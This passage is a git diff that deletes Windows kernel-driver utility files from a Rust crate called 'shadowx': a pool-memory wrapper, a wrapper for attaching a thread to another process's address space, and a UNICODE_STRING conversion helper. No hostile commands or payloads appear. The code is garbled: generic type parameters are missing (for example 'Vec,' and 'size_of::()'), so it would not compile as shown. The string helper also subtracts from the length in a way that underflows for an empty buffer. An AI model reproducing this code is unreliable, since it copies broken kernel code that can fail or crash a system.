ptr.is_null() { - None - } else { - Some(Self { ptr }) - } - } -} - -impl Drop for PoolMemory { - /// Frees the allocated pool memory when the `PoolMemory` instance is dropped. - /// - /// This method is automatically called when the `PoolMemory` goes out of scope. It ensures that - /// the memory allocated with `ExAllocatePool2` is properly freed using `ExFreePool`, unless - /// the pointer is null. - fn drop(&mut self) { - if !self.ptr.is_null() { - unsafe { ExFreePool(self.ptr) }; - } - } -} \ No newline at end of file diff --git a/crates/shadowx/src/utils/process_attach.rs b/crates/shadowx/src/utils/process_attach.rs deleted file mode 100644 index aaa90e7..0000000 --- a/crates/shadowx/src/utils/process_attach.rs +++ /dev/null @@ -1,75 +0,0 @@ -use wdk_sys::{ntddk::{KeStackAttachProcess, KeUnstackDetachProcess}, KAPC_STATE, PRKPROCESS}; - -/// A wrapper for managing the attachment to a process context in the Windows kernel. -/// -/// This struct provides a safe abstraction for attaching to the context of a target process using -/// `KeStackAttachProcess` and ensures that the process is properly detached when no longer needed -/// (either manually or automatically when it goes out of scope). -/// -/// When a `ProcessAttach` instance is dropped, it will automatically detach from the process -/// if still attached. -pub struct ProcessAttach { - /// The APC (Asynchronous Procedure Call) state used to manage process attachment. - apc_state: KAPC_STATE, - /// Indicates whether the process is currently attached. - attached: bool, -} - -impl ProcessAttach { - /// Attaches to the context of a target process. - /// - /// This function attaches the current thread to the address space of the specified - /// process using `KeStackAttachProcess`. This allows the current thread to operate within - /// the target process context. - /// - /// # Arguments - /// - /// * `target_process` - A pointer to the target process (`PRKPROCESS`) to attach to. - /// - /// # Returns - /// - /// * A new `ProcessAttach` instance representing the attached process context. - #[inline] - pub fn new(target_process: PRKPROCESS) -> Self { - let mut apc_state: KAPC_STATE = unsafe { core::mem::zeroed() }; - - unsafe { - KeStackAttachProcess(target_process, &mut apc_state); - } - - Self { - apc_state, - attached: true, - } - } - - /// Manually detaches from the process context. - /// - /// This method can be called to explicitly detach the current thread from the target process's - /// address space, if it was previously attached. - #[inline] - pub fn detach(&mut self) { - if self.attached { - unsafe { - KeUnstackDetachProcess(&mut self.apc_state); - } - self.attached = false; - } - } -} - -impl Drop for ProcessAttach { - /// Automatically detaches from the process context when the `ProcessAttach` instance is dropped. - /// - /// This method ensures that the current thread is detached from the target process's address space - /// when the `ProcessAttach` object goes out of scope. If the process is still attached when `drop` - /// is called, it will be safely detached using `KeUnstackDetachProcess`. - fn drop(&mut self) { - // If it is still attached, it unattaches when it leaves the scope. - if self.attached { - unsafe { - KeUnstackDetachProcess(&mut self.apc_state); - } - } - } -} diff --git a/crates/shadowx/src/utils/uni.rs b/crates/shadowx/src/utils/uni.rs deleted file mode 100644 index c5e77fe..0000000 --- a/crates/shadowx/src/utils/uni.rs +++ /dev/null @@ -1,64 +0,0 @@ -use alloc::vec::Vec; -use wdk_sys::UNICODE_STRING; - -/// A wrapper around a `Vec` representing a Unicode string. -/// -/// This struct encapsulates a Unicode string, stored as a `Vec`, that is compatible -/// with the Windows kernel's `UNICODE_STRING` structure. It ensures that the string is properly -/// null-terminated and provides a safe conversion method to a `UNICODE_STRING`. -#[derive(Default)] -pub struct OwnedUnicodeString { - /// The internal buffer holding the wide (UTF-16) string, including the null terminator. - buffer: Vec, - /// A marker to indicate that this struct cannot be moved once pinned. - /// This ensures that the memory address of the buffer remains valid for the lifetime of the - /// `UNICODE_STRING`. - _phantompinned: core::marker::PhantomPinned, -} - -impl OwnedUnicodeString { - /// Converts the `OwnedUnicodeString` into a `UNICODE_STRING` that can be used in kernel APIs. - /// - /// This function creates a `UNICODE_STRING` structure from the internal buffer of the `OwnedUnicodeString`. - /// It correctly calculates the length and maximum length fields of the `UNICODE_STRING`, which represent - /// the size of the string (in bytes) excluding and including the null terminator, respectively. - /// - /// # Returns - /// - /// * A `UNICODE_STRING` pointing to the wide string stored in `buffer`. - pub fn to_unicode(&self) -> UNICODE_STRING { - // The length is the size of the string in bytes, excluding the null terminator. - // MaximumLength includes the null terminator. - UNICODE_STRING { - Length: ((self.buffer.len() * size_of::()) - 2) as u16, - MaximumLength: (self.buffer.len() * size_of::()) as u16, - Buffer: self.buffer.as_ptr() as *mut u16, - } - } -} - -/// Converts a Rust `&str` to an `OwnedUnicodeString`. -/// -/// This function takes a Rust string slice, converts it to a wide string (UTF-16), and ensures it -/// is properly null-terminated. The resulting wide string is stored in an `OwnedUnicodeString`, -/// which can later be converted to a `UNICODE_STRING` for use in kernel APIs. -/// -/// # Arguments -/// -/// * `str` - A reference to the Rust string slice to be converted. -/// -/// # Returns -/// -/// * `OwnedUnicodeString` - A structure containing the wide (UTF-16) representation of the input string. -pub fn str_to_unicode(str: &str) -> OwnedUnicodeString { - // Convert the rust string to a wide string - let mut wide_string: Vec = str.encode_utf16().collect(); - - // Null terminate the string - wide_string.push(0); - - OwnedUnicodeString { - buffer: wide_string, - _phantompinned: core::marker::PhantomPinned, - } -}